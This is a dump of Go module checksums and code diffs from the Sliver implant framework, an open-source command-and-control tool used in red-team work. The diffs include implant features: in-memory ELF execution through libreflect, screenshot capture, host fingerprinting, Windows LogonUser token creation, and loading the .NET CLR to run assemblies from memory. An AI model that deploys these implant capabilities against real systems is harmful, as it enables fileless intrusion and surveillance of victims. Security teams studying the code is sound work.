modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 h1:0+dsXf0zeLx9ixj4nilg6jKe5Bg1ilzBwSFq4kJmIUc=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/libc v1.22.3 h1:D/g6O5ftAfavceqlLOFwaZuA5KYafKwmr30A6iSqoyY=
|
||||
modernc.org/libc v1.22.3/go.mod h1:MQrloYP209xa2zHome2a8HLiLm6k0UT8CoHpV74tOFw=
|
||||
modernc.org/libc v1.21.2 h1:V053DgNSpAY+IPrO3XlWqrFKUiQqHyPqG4dsx42Ulck=
|
||||
modernc.org/libc v1.21.2/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
|
||||
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/memory v1.4.0 h1:crykUfNSnMAXaOJnnxcSzbUGMqkLWjklJKkBK2nwZwk=
|
||||
modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.21.0 h1:4aP4MdUf15i3R3M2mx6Q90WHKz3nZLoz96zlB6tNdow=
|
||||
modernc.org/sqlite v1.21.0/go.mod h1:XwQ0wZPIh1iKb5mkvCJ3szzbhk+tykC8ZWqTRTgYRwI=
|
||||
modernc.org/sqlite v1.19.3 h1:dIoagx6yIQT3V/zOSeAyZ8OqQyEr17YTgETOXTZNJMA=
|
||||
modernc.org/sqlite v1.19.3/go.mod h1:xiyJD7FY8mTZXnQwE/gEL1STtFrrnDx03V8KhVQmcr8=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.1 h1:mOQwiEK4p7HruMZcwKTZPw/aqtGM4aY00uzWhlKKYws=
|
||||
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
|
||||
+1
-1
@@ -4,7 +4,7 @@ go 1.18
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
|
||||
+2
-2
@@ -6,8 +6,8 @@ github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
|
||||
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
|
||||
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
|
||||
|
||||
@@ -20,6 +20,7 @@ package cryptography
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
@@ -34,7 +35,6 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
@@ -107,7 +107,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
|
||||
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
@@ -134,7 +134,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return encoders.GunzipBuf(plaintext), nil
|
||||
return GunzipBuf(plaintext), nil
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
@@ -248,19 +248,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
|
||||
return nil
|
||||
}
|
||||
|
||||
//// GzipBuf - Gzip a buffer
|
||||
//func GzipBuf(data []byte) []byte {
|
||||
// var buf bytes.Buffer
|
||||
// zip := gzip.NewWriter(&buf)
|
||||
// zip.Write(data)
|
||||
// zip.Close()
|
||||
// return buf.Bytes()
|
||||
//}
|
||||
//
|
||||
//// GunzipBuf - Gunzip a buffer
|
||||
//func GunzipBuf(data []byte) []byte {
|
||||
// zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
// var buf bytes.Buffer
|
||||
// buf.ReadFrom(zip)
|
||||
// return buf.Bytes()
|
||||
//}
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
zip := gzip.NewWriter(&buf)
|
||||
zip.Write(data)
|
||||
zip.Close()
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
@@ -21,7 +21,6 @@ package encoders
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// GzipEncoderID - EncoderID
|
||||
@@ -30,44 +29,12 @@ const GzipEncoderID = 49
|
||||
// Gzip - Gzip compression encoder
|
||||
type Gzip struct{}
|
||||
|
||||
var gzipWriterPools = &sync.Pool{}
|
||||
|
||||
func init() {
|
||||
gzipWriterPools = &sync.Pool{
|
||||
New: func() interface{} {
|
||||
w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
|
||||
return w
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
|
||||
gzipWriter.Reset(&buf)
|
||||
gzipWriter.Write(data)
|
||||
gzipWriter.Close()
|
||||
gzipWriterPools.Put(gzipWriter)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// Encode - Compress data with gzip
|
||||
func (g Gzip) Encode(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
|
||||
gzipWriter.Reset(&buf)
|
||||
gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
|
||||
gzipWriter.Write(data)
|
||||
gzipWriter.Close()
|
||||
gzipWriterPools.Put(gzipWriter)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
|
||||
@@ -60,6 +60,11 @@ var (
|
||||
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IsSharedLib}}
|
||||
// CGO specific
|
||||
sliverpb.MsgExecuteInMemoryReq: executeInMemoryHandler,
|
||||
// {{end}}
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -1,50 +0,0 @@
|
||||
//go:build (linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64)
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/screen"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
//go:build !((linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64))
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
resp([]byte{}, errors.New("unsupported platform"))
|
||||
}
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstat"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/ps"
|
||||
"github.com/bishopfox/sliver/implant/sliver/screen"
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/ssh"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -172,6 +173,25 @@ func ifconfig() *sliverpb.Ifconfig {
|
||||
return interfaces
|
||||
}
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func netstatHandler(data []byte, resp RPCResponse) {
|
||||
netstatReq := &sliverpb.NetstatReq{}
|
||||
err := proto.Unmarshal(data, netstatReq)
|
||||
|
||||
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
for _, proc := range procs {
|
||||
p := &commonpb.Process{
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
//go:build cgo && linux
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/elf"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func executeInMemoryHandler(data []byte, resp RPCResponse) {
|
||||
var req sliverpb.ExecuteInMemoryReq
|
||||
err := proto.Unmarshal(data, &req)
|
||||
if err != nil {
|
||||
resp([]byte{}, err)
|
||||
return
|
||||
}
|
||||
execResp := &sliverpb.Execute{}
|
||||
elfData := req.Data
|
||||
if req.Path != "" {
|
||||
elfData, err = os.ReadFile(req.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
elfFile, _ := elf.NewFile(bytes.NewReader(elfData))
|
||||
if goSection := elfFile.Section(".gopclntab"); goSection != nil {
|
||||
msgErr := "Go binary detected, aborting"
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: msgErr,
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
|
||||
}
|
||||
}
|
||||
output, pid, err := taskrunner.ExecuteInMemory(elfData, req.Args)
|
||||
if err != nil || pid == 0 {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
execResp.Response = &commonpb.Response{}
|
||||
execResp.Pid = uint32(pid)
|
||||
execResp.Stdout = []byte(output)
|
||||
execResp.Status = 0
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -31,10 +31,8 @@ import (
|
||||
"github.com/gofrs/uuid"
|
||||
)
|
||||
|
||||
var zeroGUID = uuid.Must(uuid.FromString("00000000-0000-0000-0000-000000000000"))
|
||||
|
||||
// UUIDFromMAC - Generate a UUID based on the machine's MAC addresses, this is
|
||||
// generally used as a last resort to fingerprint the host machine. It creates
|
||||
// generally used as a last resort to fingerpint the host machine. It creates
|
||||
// a uuid by hashing the MAC addresses of all network interfaces and using the
|
||||
// first 16 bytes of the hash as the UUID. This should work so long as network
|
||||
// interfaces are not added or removed, since its physical addresses this should
|
||||
@@ -45,7 +43,7 @@ func UUIDFromMAC() string {
|
||||
// {{end}}
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return zeroGUID.String()
|
||||
return ""
|
||||
}
|
||||
hardwareAddrs := []string{}
|
||||
for _, iface := range interfaces {
|
||||
@@ -53,9 +51,6 @@ func UUIDFromMAC() string {
|
||||
hardwareAddrs = append(hardwareAddrs, iface.HardwareAddr.String())
|
||||
}
|
||||
}
|
||||
if len(hardwareAddrs) == 0 {
|
||||
return zeroGUID.String()
|
||||
}
|
||||
sort.Strings(hardwareAddrs) // Ensure deterministic order
|
||||
digest := sha256.New()
|
||||
for _, addr := range hardwareAddrs {
|
||||
@@ -63,7 +58,7 @@ func UUIDFromMAC() string {
|
||||
}
|
||||
value, err := uuid.FromBytes(digest.Sum(nil)[:16]) // Must be 128-bits
|
||||
if err != nil {
|
||||
return zeroGUID.String()
|
||||
return ""
|
||||
}
|
||||
return value.String()
|
||||
}
|
||||
@@ -1,23 +1,23 @@
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
|
||||
package hostuuid
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -22,15 +23,15 @@ package hostuuid
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"io/ioutil"
|
||||
)
|
||||
|
||||
// GetUUID - Get a system specific UUID
|
||||
func GetUUID() string {
|
||||
uuid, err := os.ReadFile("/etc/machine-id")
|
||||
uuid, err := ioutil.ReadFile("/etc/machine-id")
|
||||
// UUID length is 32 plus newline
|
||||
if err != nil || len(uuid) != 33 {
|
||||
uuid, err = os.ReadFile("/var/lib/dbus/machine-id")
|
||||
uuid, err = ioutil.ReadFile("/var/lib/dbus/machine-id")
|
||||
if err != nil || len(uuid) != 33 {
|
||||
return UUIDFromMAC() // Failed, try to use MAC addresses
|
||||
}
|
||||
|
||||
@@ -259,11 +259,7 @@ func MakeToken(domain string, username string, password string, logonType uint32
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if logonType == 0 {
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_WINNT50, &token)
|
||||
} else {
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
}
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("LogonUser failed: %v\n", err)
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
//go:build cgo && linux
|
||||
|
||||
package taskrunner
|
||||
|
||||
/*
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
extern void reflect_execv(const unsigned char *elf, char **argv);
|
||||
extern void reflect_execve(const unsigned char *elf, char **argv, char **env);
|
||||
extern void GoCallback(char *line, size_t len);
|
||||
|
||||
static inline int call_reflect_exec(unsigned char *data, char **argv) {
|
||||
int pid;
|
||||
int pipefd[2];
|
||||
if (pipe(pipefd) != 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ((pid = fork()) == 0)
|
||||
{
|
||||
close(pipefd[0]); // close reading end in the child
|
||||
|
||||
dup2(pipefd[1], 1); // send stdout to the pipe
|
||||
dup2(pipefd[1], 2); // send stderr to the pipe
|
||||
|
||||
close(pipefd[1]); // this descriptor is no longer needed
|
||||
|
||||
reflect_execv(data, argv);
|
||||
}
|
||||
else
|
||||
{
|
||||
// parent
|
||||
|
||||
char *line = NULL;
|
||||
close(pipefd[1]); // close the write end of the pipe in the parent
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
FILE *stream = fdopen(pipefd[0], "r");
|
||||
size_t read_len = 0;
|
||||
while (getline(&line, &read_len, stream) != -1) {
|
||||
GoCallback(line, read_len);
|
||||
}
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
import (
|
||||
"bytes"
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"sync"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type cgoOutput struct {
|
||||
Out *bytes.Buffer
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
var outbuff cgoOutput
|
||||
|
||||
// ExecuteInMemory - Runs an ELF binary in memory using CGO and libreflect
|
||||
// Returns a string containing the merged stdout + stderrr,
|
||||
// the PID of the forked process, and any error that might have occured.
|
||||
func ExecuteInMemory(data []byte, args []string) (string, int, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Executing %s\n", args)
|
||||
// {{end}}
|
||||
argv := make([]*C.char, len(args)+1)
|
||||
for i, a := range args {
|
||||
argv[i] = C.CString(a)
|
||||
}
|
||||
// argv needs to terminate with a NULL pointer, otherwise we might have uninitialized memory
|
||||
argv[len(argv)-1] = nil
|
||||
defer func() {
|
||||
for _, arg := range argv {
|
||||
C.free(unsafe.Pointer(arg))
|
||||
}
|
||||
}()
|
||||
outbuff.Lock()
|
||||
pid, err := C.call_reflect_exec((*C.uchar)(&data[0]), &argv[0])
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during execution: %s\n", err)
|
||||
//{{end}}
|
||||
return "", 0, err
|
||||
}
|
||||
|
||||
output := outbuff.Out.String()
|
||||
outbuff.Out.Reset()
|
||||
outbuff.Unlock()
|
||||
return output, int(pid), nil
|
||||
}
|
||||
|
||||
// GoCallback - Callback function for C code to write to outbuff
|
||||
// This callback in itself is not goroutine safe, so any caller
|
||||
// must acquire the lock on outbuff before calling this function.
|
||||
//
|
||||
//export GoCallback
|
||||
func GoCallback(line *C.char, len C.size_t) {
|
||||
outbuff.Out.WriteString(C.GoString(line))
|
||||
}
|
||||
|
||||
func init() {
|
||||
outbuff.Out = &bytes.Buffer{}
|
||||
}
|
||||
@@ -227,11 +227,6 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// bringUpWGInterface - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
if netstackTunIP == "" {
|
||||
err := errors.New("[wireguard] Cannot connect to empty IP address")
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
|
||||
+10
-21
@@ -1,7 +1,6 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// Package clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
@@ -12,7 +11,7 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstalledRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
@@ -90,26 +89,16 @@ func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument s
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
must(err)
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
must(err)
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
must(err)
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
must(err)
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
must(err)
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
@@ -211,7 +200,7 @@ func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (r
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throughout the duration of the program. Commonly used with C2 frameworks
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
@@ -311,7 +300,7 @@ func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
